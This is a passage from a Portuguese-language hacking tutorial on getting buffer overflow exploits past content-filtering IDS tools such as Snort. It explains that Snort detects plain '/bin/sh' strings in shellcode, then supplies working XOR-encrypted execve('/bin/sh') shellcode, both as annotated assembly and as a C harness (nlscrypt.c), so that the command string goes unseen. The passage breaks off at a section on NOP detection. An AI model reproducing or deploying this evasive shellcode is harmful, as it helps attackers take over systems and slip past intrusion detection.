---------------1 - INTRODUCAO |---------------"Por tras da Pantomima, ha sempre um artista solitario, puxando a corda da cortina!"Este artigo descreve o basico de alguns esquemas contra ferramentas defiltragem de conteudo de buffer overflows, ou seja, como passar por elas!Pre-requisitos para ler este tutorial sao os de sempre, elites fora,conhecimento basico de C e escrita de exploits e um pouco sobre IDS.-------------2 - ESQUEMAS |-------------Existem varias ferramentas 'IDS' que procuram detectar ataques do tipoBuffer Overflows.Irei destacar apenas algumas, mas os conceitos podemser mais abrangentes, de modo que pode-se usar as mesmas tecnicas emoutras ferramentas.2.1 - Filtragem de Conteudo------------------------------Algumas Ferramentas procuram filtrar o conteudo de dados que sao recebidospelos daemons.Um ferramenta capaz de fazer isso e que eh muito popular eho 'snort'.Ela funciona como uma especie de sniffer, procurado filtrartodos os dados que estao chegando atraves da interface local.Dentre os dados que ela pode filtrar, estao as strings.Analisaremos doispossiveis casos, abaixo:+ /bin/sh -> O snort eh capaz de detectar a tentativa de recebimento pelo daemon de strings do tipo /bin/sh inseridas em shellcodes. A grande maioria dos shellcodes enviam solicitacoes de comandos a serem executados de modo claro, ou seja, strings do tipo '/bin/bash', '/bin/sh', '/bin/echo', '/etc/passwd', enfim, como essas strings nao podem corresponder a dados aceitos pelo daemon, elas sao facilmente detectadas e o IDS em questao(snort) eh capaz de alertar quanto a uma tentativa de invasao via 'buffer overflow' em algum daemon. Solucao: Uma possivel solucao p/ este problema reside em procurar enviar os comandos ou strings responsaveis pela 'exploitacao' via shellcode encriptados.Existem varios exemplos de shellcodes encriptados e voce pode ler mais sobre isso no 'Tutorial Basico de Escrita de Shellcodes p/ Linux(II Parte)' e tambem no artigo 'PASSANDO POR STRINGS', ambos publicados por mim que podem ser obtidos nos links disponibilizados fim deste tutorial. Um Exemplo de Shellcode encriptado segue abaixo: xorl %eax,%eax # Reseta EAX jmp 0x22 # Salta para 0x22 popl %ebx # retira EBX(string) do stack. movl 8(%ebx),%edx # copia string encriptada para EDX. xor %edx,(%ebx) # OU logico em EDX e 0(EBX). xor %edx,4(%ebx) # Desencripta o shellcode xor %edx,%edx # Reseta EDX. movl %ebx,0x8(%esp) # copia /bin/sh para 0x8(%esp) movl %edx,0xc(%esp) # copia /bin/sh + null word long p/ 0xc(%esp) movb $0xb,%al # copia execve(11) para AL. leal 0x8(%esp),%ecx # copia o end. de /bin/sh sobre ECX. int $0x80 # Sai para modo kernel. xorl %ebx,%ebx # Reseta EBX. movl %ebx,%eax # copia EBX para EAX. incl %eax # incrementa EAX(1 = exit). int $0x80 # sai para modo kernel. call -0x27 # chama -0x27. .string "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55\x55\x55\x55\x55"Veremos entao como fica o shellcode num .c:--------------------------- nlscrypt.c --------------------------------/* Shellcode encriptado com base no do lamagra. Desenvolvido por ****** :D.*/char shellcode[] ="\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89""\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31""\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff""\x7a\x37\x3c\x3b\x7a\x26\x3d\x55" /* /bin/sh encriptado */"\x55\x55\x55\x55"; /* Chave conversora */main(){int *retorno;retorno = (int *)&retorno + 2;(*retorno) = (int)shellcode;}----------------------------------------------------------------------Este eh apenas um dos inumeros possiveis esquemas de se criptografarum shellcode.No exemplo acima, teriamos o comando '/bin/sh' sendoexecutado, mas a string a ser enviada seria 'z7<;z&=', logo a ferramentade IDS nao seria capaz de detectar uma tentiva de exploitacao combase na string de comando a ser enviada.+ NOPS(0x90) - Muitos Exploits